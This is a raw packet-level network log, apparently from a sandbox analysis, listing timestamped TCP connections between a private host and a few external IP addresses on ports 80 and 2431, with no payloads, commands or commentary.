                                                                                                                                                                Nov 28, 2024 11:02:15.974167109 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.974673986 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.974809885 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.974853039 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:15.975477934 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.975568056 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:15.975604057 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.052330971 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.052386045 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.052453041 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.052711964 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.052947998 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.052989006 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.053499937 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.055453062 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.068795919 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.068878889 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.068937063 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.069221020 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.069442987 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.069494963 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.072864056 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.072966099 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.073021889 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.073277950 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.073401928 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.073453903 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.074111938 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.074223042 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.074265003 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.074951887 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.075120926 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.075169086 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.075872898 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.075953960 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.075998068 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.076697111 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.076806068 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.076858997 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.077472925 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.077600956 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.077651024 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.078247070 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.078402996 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.078447104 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.079230070 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.079411030 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.079458952 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.079941988 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.080039978 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.080097914 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.080847979 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.080939054 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.081034899 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.081562996 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.081640959 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.081691980 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.082374096 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.082480907 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.082570076 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.083215952 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.083358049 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.083403111 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.084090948 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.084126949 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.084172964 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.084928989 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.084969997 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.085016012 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.085750103 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.085870028 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.085918903 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.086575985 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.086658001 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.086702108 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.087430000 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.087483883 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.087522984 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.088207960 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.088270903 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.088320017 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.089373112 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.089490891 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.089546919 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.090229034 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.090362072 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.090406895 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.090673923 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.090790987 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.090837002 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.091203928 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.091504097 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.091675997 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.091718912 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.092446089 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.092581987 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.092636108 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.093219042 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.093236923 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.093285084 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.093987942 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.094090939 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.094132900 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.094835043 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.094932079 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.094975948 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.095649958 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.095837116 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.095921993 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.096471071 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.096599102 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.096642017 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.097312927 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.097423077 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.097470999 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.098160982 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.098268986 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.098318100 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.098984957 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.099092960 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.099150896 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.099834919 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.100043058 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.100090027 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.100646973 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.101190090 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.101258039 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.101465940 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.101598978 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.101639986 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.102287054 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.102416992 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.102466106 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.103147984 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.103235006 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.103276014 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.103940010 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.104074955 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.104125023 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.104746103 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.104870081 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.104927063 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.105571985 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.105720043 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.105761051 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.106594086 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.106652975 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.106705904 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.107287884 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.107417107 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.107465982 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.108087063 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.108217955 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.108262062 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.109239101 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.109328032 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.109385967 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.126413107 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:16.176462889 CET8049175172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:16.379467010 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:17.083929062 CET4917580192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:17.459039927 CET491762431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:17.579178095 CET24314917631.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:17.579241991 CET491762431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:17.615180969 CET491762431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:17.735793114 CET24314917631.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:18.941379070 CET24314917631.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:19.196264029 CET24314917631.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:19.196384907 CET491762431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:19.200563908 CET491762431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:19.309938908 CET24314917631.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:19.310086012 CET491762431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:19.320715904 CET24314917631.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:19.320820093 CET491762431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:19.442004919 CET24314917631.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:19.818198919 CET24314917631.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:19.824424982 CET491762431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:19.944417000 CET24314917631.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:20.028453112 CET24314917631.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:20.035283089 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:20.156255007 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:20.156318903 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:20.159979105 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:20.236471891 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:20.279956102 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:20.295069933 CET491762431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:20.356384993 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:20.356506109 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:20.374412060 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:20.494484901 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.105256081 CET4917980192.168.2.22178.237.33.50
                                                                                                                                                                Nov 28, 2024 11:02:21.226298094 CET8049179178.237.33.50192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.226360083 CET4917980192.168.2.22178.237.33.50
                                                                                                                                                                Nov 28, 2024 11:02:21.226697922 CET4917980192.168.2.22178.237.33.50
                                                                                                                                                                Nov 28, 2024 11:02:21.346967936 CET8049179178.237.33.50192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.445823908 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.622826099 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.622879982 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.622920990 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.622983932 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:21.622993946 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.623012066 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.623092890 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:21.623174906 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.623188019 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.623198032 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.623209000 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.623275042 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:21.623347044 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.623419046 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:21.623496056 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:21.687385082 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.687475920 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:21.698290110 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:21.743158102 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.743177891 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.743285894 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:21.818217993 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.818279982 CET491772431192.168.2.2231.13.224.72
                                                                                                                                                                Nov 28, 2024 11:02:21.824009895 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.824023008 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.824120998 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:21.826456070 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.827179909 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.827233076 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:21.834856987 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.835231066 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.835278034 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:21.843262911 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.844638109 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.844712019 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:21.851731062 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.851968050 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.852041960 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:21.860100985 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.860275984 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.860321045 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:21.868545055 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.869669914 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.869715929 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:21.876948118 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.877033949 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.877116919 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:21.885381937 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.885452032 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.885539055 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:21.893732071 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.893949986 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.893999100 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:21.902157068 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.902340889 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.902407885 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:21.938265085 CET24314917731.13.224.72192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:21.944034100 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.025432110 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.025497913 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.025556087 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.027923107 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.027976990 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.028842926 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.029114008 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.029185057 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.034039974 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.034148932 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.034190893 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.039088964 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.039187908 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.039228916 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.044171095 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.044513941 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.044552088 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.050048113 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.050255060 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.050337076 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.054466963 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.054492950 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.054533958 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.059295893 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.060283899 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.060338020 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.064341068 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.064627886 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.064718008 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.069382906 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.069458008 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.069574118 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.074414015 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.074635983 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.074763060 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.079514980 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.079583883 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.079634905 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.084503889 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.084745884 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.084804058 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.089644909 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.089795113 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.089853048 CET4917880192.168.2.22172.232.175.166
                                                                                                                                                                Nov 28, 2024 11:02:22.094702005 CET8049178172.232.175.166192.168.2.22
                                                                                                                                                                Nov 28, 2024 11:02:22.094887018 CET8049178172.232.175.166192.168.2.22
